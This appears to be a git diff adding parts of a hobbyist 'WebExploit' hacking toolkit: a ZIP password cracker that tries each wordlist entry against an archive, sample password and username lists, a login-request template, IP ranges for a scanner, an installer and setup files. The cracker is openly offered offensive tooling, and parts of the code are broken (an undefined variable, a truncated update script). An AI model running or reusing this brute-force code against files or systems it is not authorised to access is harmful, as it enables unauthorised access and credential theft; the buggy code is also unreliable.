print (f' {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}W.P.F/{f.GREEN}CHECK-URL] {nbold}{f.CYAN} URL IS NOT \'{bold}WORDPRESS{nbold}\'{nbold} CHECK THAT ... !\n')
@@ -187,8 +187,8 @@ def r_bnr(bnr):
t.sleep(1)
print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}W.P.F/{f.CYAN}DEFAULT{f.WHITE}] OPENNING {bold}DEFAULT{nbold} TOP PLUGINS FILE {bold}{f.GREEN}\n')
-
- plugins = open('wp-plugins.txt', 'r').read().split()
+ filedefault = (f'{os.getcwd()}/cores/wp-plugins.txt')
+ plugins = open(filedefault, 'r').read().split()
t.sleep(2)
print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}W.P.F/{f.CYAN}DEFAULT{f.WHITE}] LOADED {bold}%s PLUGINS{nbold}{f.GREEN} SUCCESS ...{white}\n' % len(plugins))
t.sleep(2)
diff --git a/cores/zipc.py b/cores/zipc.py
new file mode 100644
index 0000000..25d4763
--- /dev/null
+++ b/cores/zipc.py
@@ -0,0 +1,170 @@
+def run():
+ '''
+ MIT License
+
+Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r]
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+'''
+ 'pip install google-search'
+ try:
+ import time as t
+ from colorama import Fore as f
+ import sys, os
+ import zipfile
+ from random import choice
+ except:
+ print("\033[0;31m please run command \033[0;32m pip install -r requirements.txt !")
+ t.sleep(1)
+ sys.exit()
+
+ black = "\033[0;30m"
+ red = "\033[0;31m"
+ green = "\033[0;32m"
+ brown = "\033[0;33m"
+ blue = "\033[0;34m"
+ purple = "\033[0;35m"
+ cyan = "\033[0;36m"
+ l_gray = "\033[0;37m"
+ dark_gray = "\033[1;30m"
+ l_red = "\033[1;31m"
+ l_green = "\033[1;32m"
+ yellow = "\033[1;33m"
+ l_blue = "\033[1;34m"
+ l_purple = "\033[1;35m"
+ l_cyan = "\033[1;36m"
+ l_white = "\033[1;37m"
+ faint = "\033[2m"
+ italic = "\033[3m"
+ underline = "\033[4m"
+ blink = "\033[5m"
+ nefative = "\033[7m"
+ cross = "\033[9m"
+ ended = "\033[0m"
+ bold = "\033[1m"
+ nbold = "\033[0m"
+ white = f.WHITE
+
+ bnr = ['''
+ ▒███████▒ ██ ██▓███
+ ▒ ▒ ▒ ▄▀░ ▒▓██ ▓██░ ██
+ ░ ▒ ▄▀▒░ ░▒██ ▓██░ ██▓▒
+ ▄▀▒ ░ ░██ ▒██▄█▓▒ ▒
+ ▒███████▒ ░██ ▒██▒ ░ ░
+ ░▒▒ ▓░▒░▒ ░▓ ▒▓▒░ ░ ░
+ ░ ▒ ▒ ░ ▒ ▒ ░▒ ░
+ ░ ░ ░ ░ ░ ▒ ░░
+ ░ ░ ░ ''', '''
+ ░▒█▀▀▀█░░░▀█▀░░░▒█▀▀█
+ ░░▄▄▄▀▀░░░▒█░░░░▒█▄▄█
+ ░▒█▄▄▄█░░░▄█▄░░░▒█░░░ ''']
+
+ def r_bnr(bnr):
+ return choice(bnr)
+
+ print (f'{blink}{r_bnr(bnr)}{ended}', end='')
+ t.sleep(2)
+ print(f' {italic}From{ended} : ', end='')
+ #create flush text [simple]
+ print(f'{red}{bold}', end='', flush=True)
+ print(f'{bold}W', end='', flush=True)
+ t.sleep(0.5)
+ print('e', end='', flush=True)
+ t.sleep(0.7)
+ print('b', end='', flush=True)
+ t.sleep(0.4)
+ print('E', end='', flush=True)
+ t.sleep(0.1)
+ print('x', end='', flush=True)
+ t.sleep(0.2)
+ print('p', end='', flush=True)
+ t.sleep(0.3)
+ print('l', end='', flush=True)
+ t.sleep(0.4)
+ print('o', end='', flush=True)
+ t.sleep(0.5)
+ print('i', end='', flush=True)
+ t.sleep(1.5)
+ print(f't{ended}', flush=True)
+ nbold = "\033[0m" # tahe koskholi !
+ t.sleep(1)
+ print(f'{white}{nbold}')
+
+ print (f'\n {bold}{f.GREEN}[{f.WHITE}ZIP{f.GREEN}]{f.WHITE}{f.RED} Z.I.P{f.WHITE}{bold} ZIP {bold}C{nbold}racker T00L !\n\n\n')
+ t.sleep(3)
+
+
+
+
+ while True:
+ try:
+ zipc = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}Z.I.P/{bold}FILE[zip]{nbold}{f.WHITE} enter {bold}\'zipFile{nbold}\' [ex: /Desktop/mji.zip]:#{f.GREEN}{bold} ')
+ print(f'{nbold}')
+
+ if zipc:
+ break
+ else:
+ input('please enter a zip file')
+ continue
+
+ except Exception as err_zipc:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] {bold}ERROR -> {err_zipc}{nbold} EXITTING . . .')
+ t.sleep(2)
+ # break
+ sys.exit(0)
+ while True:
+ passwords = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}Z.I.P/{bold}ZIP-CRACKER{nbold}{f.WHITE} enter \'Password LIST{nbold}\' [ex: /home/WebExploit/Desktop/ssh-passwords.txt]:#{f.GREEN}{bold} ')
+ if passwords:
+ try:
+ passes = open(passwords, 'r').readlines()
+ # passes.close()
+ break
+ except Exception as file_err:
+ print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}RARC/{f.GREEN}Passwords{white}] {nbold}{f.CYAN} ERROR : \'{bold}{file_err}{nbold}\' \n')
+ t.sleep(1)
+ continue
+ t.sleep(1)
+ print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}Z.I.P/{bold}ZIP-CRACKER{nbold}{f.YELLOW} Loadind modules {bold}zip-cracker . . . !{nbold}]')
+ t.sleep(3)
+ try:
+ zip_file = zipc
+ zip_file = zipfile.ZipFile(zip_file)
+ except Exception as g_err:
+ print ('err : %s' % g_err)
+ for pwd_ in passes:
+ pwd1 = pwd_.strip()
+ try:
+ zip_file.extractall(pwd=pwd1.encode())
+ print (f'\n {nbold}{f.WHITE}[{f.GREEN}{bold}CRACKER{f.WHITE}{nbold}@{f.RED}ZIP.C/{f.GREEN}Password-Found{white}] {nbold}{f.CYAN} \'{bold}{pwd_}{nbold}\' \n')
+ except:
+ print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}CRACKER{f.WHITE}{nbold}@{f.RED}ZIP.C/{f.YELLOW}Password-NotFound{white}] {nbold}{f.RED} \'{bold}{pwd_}{nbold}\' \n')
+ continue
+ else:
+ print(f'{green}')
+ print("[ZIP-C] Password found:", word.decode().strip())
+ exit(0)
+ print(f'{red}')
+ print("[ZIP-C] Password not found, try other wordlist [password-lists].")
+
+
+
+
+
+
+
diff --git a/examples/data_httpGet_example.txt b/examples/data_httpGet_example.txt
new file mode 100644
index 0000000..e4c5956
--- /dev/null
+++ b/examples/data_httpGet_example.txt
@@ -0,0 +1 @@
+user=$USER$&password=$PASSWORD$
diff --git a/examples/header.json b/examples/header.json
new file mode 100644
index 0000000..47c99bf
--- /dev/null
+++ b/examples/header.json
@@ -0,0 +1,13 @@
+{'Host': 'google.com',
+ 'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:91.0) Gecko/20100101 Firefox/91.0',
+ 'Accept': '*/*',
+ 'Accept-Language': 'en-US,en;q=0.5',
+ 'Accept-Encoding': 'gzip, deflate, br',
+ 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
+ 'X-Requested-With': 'XMLHttpRequest',
+ 'Content-Length': '16',
+ 'Origin': 'https://google.com',
+ 'Connection': 'keep-alive',
+ 'Sec-Fetch-Dest': 'empty',
+ 'Sec-Fetch-Mode': 'cors',
+ 'Sec-Fetch-Site': 'same-origin'}
diff --git a/examples/hosts_ForAngryIpScanner.txt b/examples/hosts_ForAngryIpScanner.txt
new file mode 100644
index 0000000..f13c7af
--- /dev/null
+++ b/examples/hosts_ForAngryIpScanner.txt
@@ -0,0 +1,2 @@
+216.239.38.120
+1.1.1.1
diff --git a/examples/ipRange_Example.txt b/examples/ipRange_Example.txt
new file mode 100644
index 0000000..47ec6c9
--- /dev/null
+++ b/examples/ipRange_Example.txt
@@ -0,0 +1,4 @@
+37.255.241.*
+
+
+#example for angry ip scanner tool [ip addr range scanner]
diff --git a/examples/passlist_example.txt b/examples/passlist_example.txt
new file mode 100644
index 0000000..5cd0db4
--- /dev/null
+++ b/examples/passlist_example.txt
@@ -0,0 +1,6 @@
+1234
+sudo
+root
+admin
+sudomji
+kskskdkd
diff --git a/examples/users.txt b/examples/users.txt
new file mode 100644
index 0000000..ecb2197
--- /dev/null
+++ b/examples/users.txt
@@ -0,0 +1,2 @@
+jfkwosodo
+sshocean-mnmnmn
diff --git a/files/.version b/files/.version
new file mode 100644
index 0000000..30ffd49
--- /dev/null
+++ b/files/.version
@@ -0,0 +1 @@
+1.1.0-release-2024
diff --git a/files/updateControl.py b/files/updateControl.py
new file mode 100644
index 0000000..5a4cd27
--- /dev/null
+++ b/files/updateControl.py
@@ -0,0 +1,12 @@
+#!/usr/bin/python3
+from requests import get
+
+def update(ver:str=None):
+
+ ver: str = open('.version', 'r').read()
+
+ githubVerionController: str = get('https://raw.githubusercontent.com/C4ssif3r/WebExploit/main/files/.version').text
+
+ if ver != githubVerionController:
+ upsateQuestion = input (f'update available !\n web explloit new verion: {githubVerionController}\nare you want to update ? [y/n] ')
+ if updateQuestion == 'y':
\ No newline at end of file
diff --git a/img/APS.jpg b/img/APS.jpg
new file mode 100644
index 0000000..36a116e
Binary files /dev/null and b/img/APS.jpg differ
diff --git a/img/Infog_menu.png b/img/Infog_menu.png
new file mode 100644
index 0000000..2ce29d0
Binary files /dev/null and b/img/Infog_menu.png differ
diff --git a/img/PasswordCrack.png b/img/PasswordCrack.png
new file mode 100644
index 0000000..04a6e14
Binary files /dev/null and b/img/PasswordCrack.png differ
diff --git a/img/WebExploit.jpg b/img/WebExploit.jpg
new file mode 100644
index 0000000..ebbf28a
Binary files /dev/null and b/img/WebExploit.jpg differ
diff --git a/img/WebExploitMenu.png b/img/WebExploitMenu.png
new file mode 100644
index 0000000..8b15cef
Binary files /dev/null and b/img/WebExploitMenu.png differ
diff --git a/img/eyecrackerMojiana.jpg b/img/eyecrackerMojiana.jpg
new file mode 100644
index 0000000..0bea6b9
Binary files /dev/null and b/img/eyecrackerMojiana.jpg differ
diff --git a/img/privateWebHacking.png b/img/privateWebHacking.png
new file mode 100644
index 0000000..3a1ff4c
Binary files /dev/null and b/img/privateWebHacking.png differ
diff --git a/installer.sh b/installer.sh
new file mode 100644
index 0000000..e19eab1
--- /dev/null
+++ b/installer.sh
@@ -0,0 +1,45 @@
+#!/bin/bash
+
+declare -a packages=(
+ "python"
+ "python-pip"
+ )
+echo -e "\n\033[1;37m[\033[1;31mWebExploit\033[1;37m] - UPDATING PACKAGES ...\n"
+sleep 3
+if [ `id -u` == 0 ]; then
+ echo -e "\033[1;37m[\033[1;31mWebExploit\033[1;37m] - INSTALLING PACKAGES ...\n"
+ sleep 3
+ sudo apt update -y > /dev/null 2>&1
+ sudo apt upgrade -y > /dev/null 2>&1
+ echo -e "\033[1;37m[\033[1;32mWebExploit\033[1;37m] - INSTALLED SUCCESSFUL. \n"
+ sleep 3
+ for packages in "${packages[@]}"; do
+ sudo apt install $packages -y > /dev/null 2>&1
+ done
+
+else
+ echo -e "\033[1;37m[\033[1;31mWebExploit\033[1;37m] - INSTALLING PACKAGES ...\n"
+ sleep 3
+ apt update -y > /dev/null 2>&1
+ apt upgrade -y > /dev/null 2>&1
+ echo -e "\033[1;37m[\033[1;32mWebExploit\033[1;37m] - INSTALLED SUCCESSFUL. \n"
+ sleep 3
+ for packages in "${packages[@]}"; do
+ apt install $packages -y > /dev/null 2>&1
+done
+
+fi
+echo -e "\033[1;37m[\033[1;32mWebExploit\033[1;37m] - INSTALLED SUCCESSFUL. \n"
+sleep 3
+# finally
+echo -e "\033[1;37m[\033[1;31mWebExploit\033[1;37m] - \033[1;32mINSTALLING WEB-EXPLOIT REQUIREMENTS ...\033[1;37m\n"
+sleep 3
+chmod 777 setup.py
+
+python setup.py install > /dev/null 2>&1
+
+echo -e "\033[1;37m[\033[1;32mWebExploit\033[1;37m] - INSTALLED SUCCESSFUL. \n"
+sleep 3
+echo -e "\033[1;37m[\033[1;32mWebExploit\033[1;37m] - NOW TYPE \033[1;32mpython WebExploit.py\033[1;37m FOR RUN :).\n"
+sleep 3
+
diff --git a/LICENSE b/licence/LICENSE
similarity index 100%
rename from LICENSE
rename to licence/LICENSE
diff --git a/requirements.txt b/requirements.txt
new file mode 100644
index 0000000..ee3c775
--- /dev/null
+++ b/requirements.txt
@@ -0,0 +1,10 @@
+treelib==1.6.4
+paramiko
+requests
+colorama
+fake_useragent
+fake_headers
+requests[socks]
+torrequest
+rarfile
+six==1.16.0
diff --git a/setup.py b/setup.py
new file mode 100644
index 0000000..2ba97c1
--- /dev/null
+++ b/setup.py
@@ -0,0 +1,36 @@
+try: from setuptools import setup, find_packages
+except:
+ from subprocess import Popen
+ Popen("pip install setuptools")
+ from setuptools import setup, find_packages
+
+def read_requirements(file):
+ with open(file) as f:
+ return f.read().splitlines()
+
+def read_file(file):
+ with open(file) as f:
+ return f.read()
+
+long_description = read_file("README.md")
+version = read_file("VERSION")
+requirements = read_requirements("requirements.txt")
+
+setup(
+ name = 'WebExploit',
+ version = version,
+ author = 'Mojia',
+ author_email = 'sudo.root.desktop@gmail.com',
+ url = 'https://github.com/c4ssif3r/WebExploit',
+ description = 'Advanced Hacker Toolkit in your hands. WebExploit XD',
+ long_description_content_type = "text/x-rst",
+ long_description = long_description,
+ license = "MIT license",
+ packages = find_packages(exclude=["cores"]),
+ install_requires = requirements,
+ classifiers=[
+ "Programming Language :: Python :: 3",
+ "License :: MIT License",
+ "Operating System :: OS Independent",
+ ]
+)